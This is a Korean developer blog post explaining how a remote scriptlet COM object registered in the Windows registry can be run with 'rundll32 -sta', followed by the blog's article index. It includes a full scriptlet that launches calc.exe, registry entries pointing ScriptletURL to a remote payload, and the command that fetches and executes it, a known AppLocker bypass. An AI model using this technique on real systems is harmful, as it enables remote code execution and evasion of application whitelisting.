Microsoft MVP성태의 닷넷 이야기
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 

레지스트리에 등록된 원격지 스크립트 COM 객체 실행 방법

오호... 트위터에서 다음의 글을 보게 되었습니다. ^^

@bohops
; https://twitter.com/bohops/status/1011350358566821891

Interesting way to call a COM CLSID:

rundll32.exe -sta {CLSID}
rundll32.exe /sta {CLSID}

Use this with @subTee's #squiblydoo COM Hijack method for a default AppLocker Bypass

Haven't found any sec-related resources with -sta (single threaded apartment)

Anyone seen this before?

그러니까, COM 객체를 script로 만들 수 있는 기술을 마이크로소프트가 제공하는데요. (정말 오랜만에 보는 군요. scriptlet! 이젠 MSDN에서조차도 자료가 거의 남아 있지 않는데. ^^;)

Scriptlets
; http://www.drdobbs.com/scriptlets/199101569

이 legacy가 아직도 살아있어 Windows 10에서도 동작을 하고 있습니다. 간략하게 기술해 보면, Web 상에 다음과 같은 Script 파일을 보관해 두고,

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Scripting.Dictionary"
    progid="Scripting.Dictionary"
    version="1"
    classid="{00000000-0000-0000-0000-0000000000FF}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    
    
]]>
</script>

</scriptlet>

로컬 PC의 CLSID에 위의 scriptlet COM 객체에 명시한 classid의 값으로 다음과 같이 등록해 줍니다.

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}]

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\InprocServer32]
@="C:\\\\WINDOWS\\\\system32\\\\scrobj.dll"

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\ScriptletURL]
@="https://raw.githubusercontent.com/stjeong/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct"

자, 이제 마지막으로 명령행 창을 열고 해당 COM 객체를 생성해 줍니다.

rundll32 -sta {00000000-0000-0000-0000-0000000000FF}

잘 실행되는군요. ^^

rundll_comserver_1.png




[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]





[최초 등록일: ]
[최종 수정일: 6/27/2018 ]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer@outlook.com

비밀번호

댓글 쓴 사람
 




... 16  17  18  19  20  21  22  [23]  24  25  26  27  28  29  30  ...
NoWriterDateCnt.TitleFile(s)
11780정성태11/17/20183022오류 유형: 503. vcpkg install bzip2 빌드 에러 - "Error: Building package bzip2:x86-windows failed with: BUILD_FAILED"
11779정성태11/17/20183408개발 환경 구성: 421. vcpkg 업데이트 [1]
11778정성태11/14/20182178.NET Framework: 803. UWP 앱에서 한 컴퓨터(localhost, 127.0.0.1) 내에서의 소켓 연결
11777정성태11/13/20182571오류 유형: 502. Your project does not reference "..." framework. Add a reference to "..." in the "TargetFrameworks" property of your project file and then re-run NuGet restore.
11776정성태11/13/20181637.NET Framework: 802. Windows에 로그인한 계정이 마이크로소프트의 계정인지, 로컬 계정인지 알아내는 방법
11775정성태11/18/20183539Graphics: 31. .NET으로 구현하는 OpenGL (6) - Texturing파일 다운로드1
11774정성태11/13/20182393Graphics: 30. .NET으로 구현하는 OpenGL (4), (5) - Shader파일 다운로드1
11773정성태11/7/20182101Graphics: 29. .NET으로 구현하는 OpenGL (3) - Index Buffer파일 다운로드1
11772정성태11/6/20182853Graphics: 28. .NET으로 구현하는 OpenGL (2) - VAO, VBO파일 다운로드1
11771정성태11/5/20182182사물인터넷: 56. Audio Jack 커넥터의 IR 적외선 송신기 - 두 번째 이야기 [1]
11770정성태11/5/20185298Graphics: 27. .NET으로 구현하는 OpenGL (1) - OpenGL.Net 라이브러리파일 다운로드1
11769정성태11/5/20181834오류 유형: 501. 프로젝트 msbuild Publish 후 connectionStrings의 문자열이 $(ReplacableToken_...)로 바뀌는 문제
11768정성태11/2/20182213.NET Framework: 801. SOIL(Simple OpenGL Image Library) - Native DLL 및 .NET DLL 제공
11767정성태11/20/20183105사물인터넷: 55. New NodeMcu v3(ESP8266)의 IR LED (적외선 송신) 제어파일 다운로드1
11766정성태11/30/20183178사물인터넷: 54. 아두이노 환경에서의 JSON 파서(ArduinoJson) 사용법
11765정성태10/29/20182283개발 환경 구성: 420. Visual Studio Code - Arduino Board Manager를 이용한 사용자 정의 보드 선택
11764정성태10/26/20183449개발 환경 구성: 419. MIT 라이선스로 무료 공개된 Detours API 후킹 라이브러리 [2]
11763정성태10/25/20182552사물인터넷: 53. New NodeMcu v3(ESP8266)의 https 통신
11762정성태10/25/20183365사물인터넷: 52. New NodeMcu v3(ESP8266)의 http 통신파일 다운로드1
11761정성태10/25/20183026Graphics: 26. 임의 축을 기반으로 3D 벡터 회전파일 다운로드1
11760정성태10/24/20181578개발 환경 구성: 418. Azure - Runbook 내에서 또 다른 Runbook 스크립트를 실행
11759정성태10/24/20181757개발 환경 구성: 417. Azure - Runbook에서 사용할 수 있는 다양한 메서드를 위한 부가 Module 추가
11758정성태7/6/20202710.NET Framework: 800. C# - Azure REST API 사용을 위한 인증 획득 [3]파일 다운로드1
11757정성태10/23/20182375개발 환경 구성: 416. Visual Studio 2017을 이용한 아두이노 프로그램 개발(및 디버깅)
11756정성태10/19/20182202오류 유형: 500. Visual Studio Code의 아두이노 프로그램 개발 시 인텔리센스가 안 된다면?
11755정성태10/19/20184839오류 유형: 499. Visual Studio Code extension for Arduino - #include errors detected. [1]
... 16  17  18  19  20  21  22  [23]  24  25  26  27  28  29  30  ...